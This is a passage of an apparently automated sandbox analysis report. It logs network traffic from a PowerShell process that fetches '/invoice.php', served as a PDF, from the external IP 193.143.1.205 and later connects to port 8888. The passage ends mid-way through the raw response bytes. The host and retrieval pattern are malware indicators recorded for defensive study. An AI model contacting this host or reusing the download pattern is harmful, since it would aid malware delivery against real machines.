Jan 10, 2025 20:01:17.558913946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.558928967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.558939934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.558944941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.558953047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.558970928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.563235998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.563270092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.563332081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.563430071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.563466072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.563471079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.563500881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.563528061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.563536882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.563558102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.563585043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.563596010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.563613892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.563656092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.563669920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.563684940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.563713074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.563720942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.563740969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.563769102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.563776016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.563800097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.563827038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.563834906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.563864946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.563891888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.563896894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.563920021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.563946962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.563966036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.563976049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.564003944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.564008951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.564032078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.564060926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.564065933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.572177887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.592083931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.592128992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.592148066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.592154026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.592163086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.592175961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.592190981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.592195988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.592205048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.592207909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.592217922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.592230082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.592236042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.592242956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.592261076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.601067066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.601114988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.601141930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.601154089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.601167917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.601181030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.601187944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.601193905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.601207018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.601212978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.601248026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.609615088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.609668016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.609709978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.609720945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.609761000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.609803915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.609813929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.609848976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.609889030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.609901905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.609935045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.609967947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.609977007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.609999895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.610033989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.610054016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.610066891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.610100985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.610106945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.610133886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.610167027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.610178947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.610203981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.610249996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.613203049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.616713047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.644417048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.644459963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.644478083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.644490004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.644500971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.644514084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.644524097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.644526958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.644534111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.644545078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.644556046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.644567966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.644584894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.644597054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.644603968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.644618988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.644630909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.644643068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.644649029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.644658089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.644670010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.644675970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.644699097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.644779921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.644795895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.644805908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.644815922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.644826889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.644834042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.644838095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.644851923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.644857883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.644865990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.644875050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.644900084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.644917965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.644927979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.644937992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.644968033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.644979000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.644984961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.644993067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.645008087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.645030975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.645035028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.645045996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.645057917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.645068884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.645081043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.645086050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.645108938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.645168066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.645205975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.645276070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.645298958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.645315886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.645325899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.645334959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.645337105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.645349026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.645354986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.645363092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.645373106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.645380020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.645384073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.645396948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.645401001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.645416021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.645435095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.645587921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.645598888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.645611048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.645622015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.645628929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.645632029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.645649910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.645668983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.645704031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.645714998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.645726919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.645739079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.645751953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.645756006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.645768881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.645855904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.645870924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.645884037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.645889997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.645895004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.645906925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.645915031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.645919085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.645932913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.645940065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.645963907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.646015882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.646028996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.646043062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.646059990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.646188021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.646204948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.646215916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.646218061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.646226883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.646239042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.646245003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.646249056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.646262884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.646269083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.646275997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.646287918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.646295071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.646297932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.646311045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.646323919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.646347046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.646428108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.646440029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.646450996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.646461964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.646482944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.646507025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.646539927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.646550894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.646562099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.646572113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.646580935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.646610022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.653320074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.679014921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.679071903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.679100037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.679121971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.679138899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.679138899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.679155111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.679172993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.679174900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.679188967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.679188967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.679222107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.688021898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.688043118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.688060045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.688072920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.688087940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.688088894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.688102007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.688118935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.688121080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.688136101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.696367979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.696428061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.696475983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.696491957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.696511984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.696531057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.696538925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.696567059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.696568012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.696588993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.696619987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.696630955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.696645975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.696674109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.696681976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.696692944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.696711063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.696727991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.696734905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.696738958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.696751118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.696760893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.696805954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.731159925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.731249094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.731252909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.731304884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.731357098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.731381893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.731435061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.731472015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.731481075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.731507063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.731542110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.731551886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.731578112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.731612921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.731622934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.731647015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.731683016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.731692076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.731715918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.731750011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.731754065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.731786013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.731818914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.731857061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.762640953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.961162090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:18.350425959 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:18.355515003 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:18.355647087 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:18.355927944 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:18.360747099 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:19.208560944 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:19.260767937 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:20.057236910 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:01:31.378475904 CET	51127	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 20:01:31.378475904 CET	192.168.2.5	1.1.1.1	0xbfa8	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 20:01:31.385776043 CET	1.1.1.1	192.168.2.5	0xbfa8	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:01:32.004606009 CET	1.1.1.1	192.168.2.5	0x696c	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:01:32.004606009 CET	1.1.1.1	192.168.2.5	0x696c	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	4724	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:01:16.191385984 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 20:01:16.967454910 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:01:16 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 